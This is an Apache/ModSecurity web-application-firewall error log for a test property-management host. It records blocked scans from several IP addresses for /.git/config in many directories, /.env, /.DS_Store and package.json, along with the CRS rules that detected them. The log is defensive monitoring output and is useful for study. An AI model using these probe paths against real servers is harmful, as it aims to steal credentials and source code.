[Sat Oct 26 05:36:16.156139 2024] [:error] [pid 2872371] [client 179.43.189.138:55844] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PsAAAAAQ&quot;]
[Sat Oct 26 05:36:16.156321 2024] [:error] [pid 2872371] [client 179.43.189.138:55844] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PsAAAAAQ&quot;]
[Sat Oct 26 05:36:16.157332 2024] [:error] [pid 2872368] [client 179.43.189.138:55856] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pgAAAAE&quot;]
[Sat Oct 26 05:36:16.157571 2024] [:error] [pid 2872368] [client 179.43.189.138:55856] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pgAAAAE&quot;]
[Sat Oct 26 05:36:16.157790 2024] [:error] [pid 2872368] [client 179.43.189.138:55856] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pgAAAAE&quot;]
[Sat Oct 26 05:36:16.157929 2024] [:error] [pid 2872436] [client 179.43.189.138:55866] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shared/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgwAAAAY&quot;]
[Sat Oct 26 05:36:16.158132 2024] [:error] [pid 2872436] [client 179.43.189.138:55866] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgwAAAAY&quot;]
[Sat Oct 26 05:36:16.158288 2024] [:error] [pid 2872436] [client 179.43.189.138:55866] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgwAAAAY&quot;]
[Sat Oct 26 05:36:16.170575 2024] [:error] [pid 2872369] [client 179.43.189.138:55868] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhgAAAAI&quot;]
[Sat Oct 26 05:36:16.170758 2024] [:error] [pid 2872369] [client 179.43.189.138:55868] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhgAAAAI&quot;]
[Sat Oct 26 05:36:16.170921 2024] [:error] [pid 2872369] [client 179.43.189.138:55868] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhgAAAAI&quot;]
[Sat Oct 26 05:36:16.173745 2024] [:error] [pid 2872392] [client 179.43.189.138:55884] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDQAAAAU&quot;]
[Sat Oct 26 05:36:16.173914 2024] [:error] [pid 2872392] [client 179.43.189.138:55884] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDQAAAAU&quot;]
[Sat Oct 26 05:36:16.174082 2024] [:error] [pid 2872392] [client 179.43.189.138:55884] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDQAAAAU&quot;]
[Sat Oct 26 05:36:16.176092 2024] [:error] [pid 2872370] [client 179.43.189.138:55880] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cache/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mswAAAAM&quot;]
[Sat Oct 26 05:36:16.176311 2024] [:error] [pid 2872370] [client 179.43.189.138:55880] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mswAAAAM&quot;]
[Sat Oct 26 05:36:16.176521 2024] [:error] [pid 2872370] [client 179.43.189.138:55880] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mswAAAAM&quot;]
[Sat Oct 26 05:36:16.176853 2024] [:error] [pid 2872367] [client 179.43.189.138:55892] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /env/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpQAAAAA&quot;]
[Sat Oct 26 05:36:16.177042 2024] [:error] [pid 2872367] [client 179.43.189.138:55892] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpQAAAAA&quot;]
[Sat Oct 26 05:36:16.177244 2024] [:error] [pid 2872367] [client 179.43.189.138:55892] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpQAAAAA&quot;]
[Wed Oct 30 21:02:20.856003 2024] [authz_core:error] [pid 2975096] [client 46.101.1.225:51072] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Oct 30 21:02:21.154191 2024] [:error] [pid 2975098] [client 46.101.1.225:51092] [client 46.101.1.225] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZyKQzYpDoVO-fkMzfHDA7gAAAAs&quot;]
[Wed Oct 30 21:02:21.154804 2024] [:error] [pid 2975098] [client 46.101.1.225:51092] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZyKQzYpDoVO-fkMzfHDA7gAAAAs&quot;]
[Wed Oct 30 21:02:21.155239 2024] [:error] [pid 2975098] [client 46.101.1.225:51092] [client 46.101.1.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZyKQzYpDoVO-fkMzfHDA7gAAAAs&quot;]
[Wed Oct 30 21:02:21.257973 2024] [:error] [pid 2975124] [client 46.101.1.225:51104] [client 46.101.1.225] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKQzechDjGpzVAigBXCqQAAAAU&quot;]
[Wed Oct 30 21:02:21.258637 2024] [:error] [pid 2975124] [client 46.101.1.225:51104] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKQzechDjGpzVAigBXCqQAAAAU&quot;]
[Wed Oct 30 21:02:21.259172 2024] [:error] [pid 2975124] [client 46.101.1.225:51104] [client 46.101.1.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKQzechDjGpzVAigBXCqQAAAAU&quot;]
[Wed Oct 30 21:02:21.358190 2024] [:error] [pid 2975122] [client 46.101.1.225:51114] [client 46.101.1.225] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKQzV5ctFF4U-4U2NyRSQAAAAE&quot;]
[Wed Oct 30 21:02:21.358672 2024] [:error] [pid 2975122] [client 46.101.1.225:51114] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKQzV5ctFF4U-4U2NyRSQAAAAE&quot;]
[Wed Oct 30 21:02:21.359053 2024] [:error] [pid 2975122] [client 46.101.1.225:51114] [client 46.101.1.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKQzV5ctFF4U-4U2NyRSQAAAAE&quot;]
[Wed Oct 30 21:04:02.421258 2024] [:error] [pid 2975124] [client 142.93.12.230:40732] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ZyKRMuchDjGpzVAigBXCqgAAAAU&quot;]
[Wed Oct 30 21:04:02.421934 2024] [:error] [pid 2975124] [client 142.93.12.230:40732] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ZyKRMuchDjGpzVAigBXCqgAAAAU&quot;]
[Wed Oct 30 21:04:02.422457 2024] [:error] [pid 2975124] [client 142.93.12.230:40732] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;ZyKRMuchDjGpzVAigBXCqgAAAAU&quot;]
[Wed Oct 30 21:04:02.423291 2024] [:error] [pid 2975123] [client 142.93.12.230:40806] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRMgbkhn-eHTdgQaS2SgAAAAI&quot;]
